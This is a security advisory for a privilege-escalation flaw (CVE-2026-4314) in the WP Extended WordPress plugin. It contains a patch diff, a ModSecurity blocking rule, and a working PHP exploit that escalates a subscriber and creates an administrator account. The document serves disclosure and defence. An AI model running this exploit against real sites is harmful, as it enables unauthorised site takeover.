Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2026-4314: The Ultimate WordPress Toolkit – WP Extended <= 3.2.4 – Authenticated (Subscriber+) Privilege Escalation via Menu Editor Module (wpextended)

CVE ID CVE-2026-4314
Plugin wpextended
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 3.2.4
Patched Version 3.2.5
Disclosed March 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4314:
The Ultimate WordPress Toolkit – WP Extended plugin, versions up to and including 3.2.4, contains an insecure capability check in its Menu Editor module. This vulnerability allows authenticated attackers with Subscriber-level access or higher to escalate their privileges to Administrator. The flaw resides in the `isDashboardOrProfileRequest()` method, which uses an insecure string comparison against `$_SERVER[‘REQUEST_URI’]` to grant elevated capabilities.

Atomic Edge research identifies the root cause in the `grantVirtualCaps()` method within `/wpextended/modules/menu-editor/Bootstrap.php`. This method is hooked to the `user_has_cap` filter. The vulnerable `isDashboardOrProfileRequest()` method (lines 206-216) used a `strpos()` check on `$_SERVER[‘REQUEST_URI’]`. This check determined if a request was for the dashboard (`index.php`) or profile (`profile.php`) pages. When the method returned true, the `grantVirtualCaps()` function (lines 138-144) granted the requesting user high-privilege capabilities, including `manage_options`, regardless of their actual role.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker can append a crafted query string containing `/wp-admin/index.php` or `/wp-admin/profile.php` to any admin URL. For example, requesting `/wp-admin/users.php?page=something/wp-admin/index.php` would cause the `strpos()` check in `isDashboardOrProfileRequest()` to return true. This triggers the `grantVirtualCaps()` method to grant the attacker the `manage_options` capability for the duration of that request. The attacker can then use this temporary administrative access to perform actions like creating a new Administrator account via the WordPress user management interface or updating arbitrary site options.

The patch modifies two core files. In `/wpextended/modules/menu-editor/Bootstrap.php`, the developers removed the entire “Part 1” logic (lines 138-144) that granted capabilities based on `isDashboardOrProfileRequest()`. They also rewrote the `isDashboardOrProfileRequest()` method (lines 206-216) to check only `basename($_SERVER[‘SCRIPT_NAME’])` against `’index.php’` and `’profile.php’`. This change eliminates the flawed `strpos()` check on the manipulable `REQUEST_URI`. The patch also adds a capability check to the Disk Usage Widget module (`/wpextended/modules/disk-usage-widget/Bootstrap.php`, line 176) and updates the plugin version to 3.2.5.

Successful exploitation grants a low-privileged user full administrative capabilities for a single request. Attackers can leverage this to create new administrator accounts, modify existing user roles, change site settings, install malicious plugins, or execute arbitrary code by editing theme files. This constitutes a complete site compromise, allowing an attacker to take full control of the WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpextended/modules/disk-usage-widget/Bootstrap.php
+++ b/wpextended/modules/disk-usage-widget/Bootstrap.php
@@ -173,6 +173,10 @@
      */
     public function addDashboardWidget(): void
     {
+        if (!current_user_can('manage_options')) {
+            return;
+        }
+
         wp_add_dashboard_widget(
             'dashboard_disk_usage',
             esc_html__('Server Disk Usage', WP_EXTENDED_TEXT_DOMAIN),
--- a/wpextended/modules/menu-editor/Bootstrap.php
+++ b/wpextended/modules/menu-editor/Bootstrap.php
@@ -138,15 +138,7 @@
             return $allcaps;
         }

-        // Part 1: Dashboard / profile — always grant the caps needed to load these pages
-        if ($this->isDashboardOrProfileRequest()) {
-            $allcaps['read'] = true;
-            $allcaps['manage_options'] = true;
-            $allcaps['edit_posts'] = true;
-            $allcaps['edit_pages'] = true;
-        }
-
-        // Part 2: Menu-access grants derived from saved settings
+        // Menu-access grants derived from saved settings
         $virtualCaps = $this->buildVirtualCapMap($user->ID, (array) $user->roles);
         foreach ($caps as $cap) {
             if ($cap === 'do_not_allow') {
@@ -206,14 +198,11 @@
      */
     private function isDashboardOrProfileRequest(): bool
     {
-        $current_file = basename($_SERVER['PHP_SELF'] ?? '');
-        $request_uri = $_SERVER['REQUEST_URI'] ?? '';
+        $script_name = basename($_SERVER['SCRIPT_NAME'] ?? '');

         return (
-            $current_file === 'index.php' ||
-            $current_file === 'profile.php' ||
-            strpos($request_uri, '/wp-admin/index.php') !== false ||
-            strpos($request_uri, '/wp-admin/profile.php') !== false
+            $script_name === 'index.php' ||
+            $script_name === 'profile.php'
         );
     }

--- a/wpextended/modules/menu-editor/includes/SettingsManager.php
+++ b/wpextended/modules/menu-editor/includes/SettingsManager.php
@@ -143,7 +143,7 @@
             'type' => 'text',
             'title' => __('Required Capability', WP_EXTENDED_TEXT_DOMAIN),
             'description' => __(
-                'The WordPress capability required to access this menu item. This is automatically detected from the menu registration.',
+                'The WordPress capability required to access this menu item. This is automatically detected from the menu registration. <br><br><span style="color: #ea0000;">Users who do not have this capability will be temporarily granted it when given access below.</span><br><br>High-privilege capabilities such as <code>manage_options</code> will grant users full administrative-level permissions.',
                 WP_EXTENDED_TEXT_DOMAIN
             ),
             'attributes' => array(
@@ -175,18 +175,6 @@
             ),
         ),
         array(
-            'id' => 'capability_notice',
-            'type' => 'custom',
-            'callback' => array($this, 'showCapabilityNotice'),
-            'show_if' => array(
-                array(
-                    'field' => 'menu_slug',
-                    'operator' => '!==',
-                    'value' => 'index.php',
-                ),
-            ),
-        ),
-        array(
             'id' => 'access_users',
             'type' => 'select',
             'title' => __('User-Specific Access', WP_EXTENDED_TEXT_DOMAIN),
@@ -530,25 +518,4 @@
     {
         return WpextendedIncludesModules::isModuleEnabled('disable-blog');
     }
-
-    /**
-     * Show capability notice
-     *
-     * @param mixed $value Current field value (optional)
-     * @param array $field Field configuration (optional)
-     * @param array $item Current item data (optional)
-     */
-    public function showCapabilityNotice()
-    {
-        ?>
-            <div class="notice notice-info inline" style="margin: 10px 0;">
-                <p style="margin-block: .5em;">
-                    <?php echo esc_html__(
-                        'Users who do not have the required capability will be granted it to access this menu item.',
-                        WP_EXTENDED_TEXT_DOMAIN
-                    ); ?>
-                </p>
-            </div>
-        <?php
-    }
 }
--- a/wpextended/vendor/autoload.php
+++ b/wpextended/vendor/autoload.php
@@ -14,7 +14,10 @@
             echo $err;
         }
     }
-    throw new RuntimeException($err);
+    trigger_error(
+        $err,
+        E_USER_ERROR
+    );
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/wpextended/vendor/composer/InstalledVersions.php
+++ b/wpextended/vendor/composer/InstalledVersions.php
@@ -27,23 +27,12 @@
 class InstalledVersions
 {
     /**
-     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
-     * @internal
-     */
-    private static $selfDir = null;
-
-    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
-     * @var bool
-     */
-    private static $installedIsLocalDir;
-
-    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -320,24 +309,6 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
-
-        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
-        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
-        // so we have to assume it does not, and that may result in duplicate data being returned when listing
-        // all installed packages for example
-        self::$installedIsLocalDir = false;
-    }
-
-    /**
-     * @return string
-     */
-    private static function getSelfDir()
-    {
-        if (self::$selfDir === null) {
-            self::$selfDir = strtr(__DIR__, '\', '/');
-        }
-
-        return self::$selfDir;
     }

     /**
@@ -351,27 +322,19 @@
         }

         $installed = array();
-        $copiedLocalDir = false;

         if (self::$canGetVendors) {
-            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
-                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    self::$installedByVendor[$vendorDir] = $required;
-                    $installed[] = $required;
-                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
-                        self::$installed = $required;
-                        self::$installedIsLocalDir = true;
+                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
+                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
+                        self::$installed = $installed[count($installed) - 1];
                     }
                 }
-                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
-                    $copiedLocalDir = true;
-                }
             }
         }

@@ -387,7 +350,7 @@
             }
         }

-        if (self::$installed !== array() && !$copiedLocalDir) {
+        if (self::$installed !== array()) {
             $installed[] = self::$installed;
         }

--- a/wpextended/vendor/composer/installed.php
+++ b/wpextended/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'wpextended/wpextended',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'f050eff960d6f4df76ab34c85d9618511d1206ad',
+        'reference' => '05b2c28b3a9f04a1f4587e7f9f721e7a256cb072',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'wpextended/wpextended' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'f050eff960d6f4df76ab34c85d9618511d1206ad',
+            'reference' => '05b2c28b3a9f04a1f4587e7f9f721e7a256cb072',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wpextended/wpextended.php
+++ b/wpextended/wpextended.php
@@ -16,7 +16,7 @@
  * Plugin Name:       WP Extended
  * Plugin URI:        https://wpextended.io
  * Description:       WP Extended is a modular plugin designed to enhance the core WordPress experience by adding many of the tools you need without having to install multiple plugins.
- * Version:           3.2.4
+ * Version:           3.2.5
  * Author:            WP Extended
  * Author URI:        https://wpextended.io/
  * License:           GPL-2.0+
@@ -61,7 +61,7 @@
 /**
  * Define constants for the plugin.
  */
-define('WP_EXTENDED_VERSION', '3.2.4');
+define('WP_EXTENDED_VERSION', '3.2.5');
 define('WP_EXTENDED_TEXT_DOMAIN', 'wp-extended');
 define('WP_EXTENDED_PATH', plugin_dir_path(__FILE__));
 define('WP_EXTENDED_URL', plugin_dir_url(__FILE__));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4314
# This rule blocks exploitation of the privilege escalation vulnerability in WP Extended <= 3.2.4.
# The attack appends '/wp-admin/index.php' or '/wp-admin/profile.php' as a substring in a query parameter.
# The rule matches any request to the WordPress admin area containing the exploit pattern in the query string.
SecRule REQUEST_URI "@rx ^/wp-admin/" 
  "id:10004314,phase:2,deny,status:403,chain,msg:'CVE-2026-4314 - WP Extended Privilege Escalation Attempt',severity:'CRITICAL',tag:'CVE-2026-4314',tag:'wordpress',tag:'wp-extended',tag:'privilege-escalation'"
  SecRule ARGS_GET "@rx wp-admin/(?:index|profile)\.php" 
    "t:none,t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4314 - The Ultimate WordPress Toolkit – WP Extended <= 3.2.4 - Authenticated (Subscriber+) Privilege Escalation via Menu Editor Module
<?php
/**
 * Proof of Concept for CVE-2026-4314.
 * This script demonstrates privilege escalation by appending a crafted parameter
 * to a WordPress admin URL to trigger the flawed `isDashboardOrProfileRequest()` check.
 * Requires valid Subscriber (or higher) credentials.
 */

$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate as a Subscriber
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Craft the exploit URL.
// The payload appends '/wp-admin/index.php' as a query parameter value.
// This tricks the `strpos($_SERVER['REQUEST_URI'], '/wp-admin/index.php')` check.
$exploit_url = $target_url . '/wp-admin/users.php?page=create_admin/wp-admin/index.php';
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Step 3: Verify exploitation by checking if the user creation page is accessible.
// A successful exploit grants the `manage_options` cap, allowing access to user creation.
if (strpos($response, 'Add New User') !== false) {
    echo "[+] SUCCESS: Privilege escalation achieved. User creation page accessible.n";
    
    // Step 4: Demonstrate impact by attempting to create a new admin user.
    $create_user_url = $target_url . '/wp-admin/user-new.php';
    $new_user_fields = [
        'user_login' => 'attacker_admin',
        'email' => 'attacker@example.com',
        'first_name' => 'Atomic',
        'last_name' => 'Edge',
        'pass1' => 'P@ssw0rd123!',
        'pass2' => 'P@ssw0rd123!',
        'role' => 'administrator',
        'createuser' => 'Add New User'
    ];
    curl_setopt($ch, CURLOPT_URL, $create_user_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($new_user_fields));
    $create_response = curl_exec($ch);
    
    if (strpos($create_response, 'User added.') !== false || strpos($create_response, 'id="createuser"') !== false) {
        echo "[+] SUCCESS: New administrator account 'attacker_admin' can be created.n";
    } else {
        echo "[-] User creation form loaded, but submission may have failed (nonce check).n";
    }
} else {
    echo "[-] FAILED: Could not access user creation page. Exploit may have failed or site is patched.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School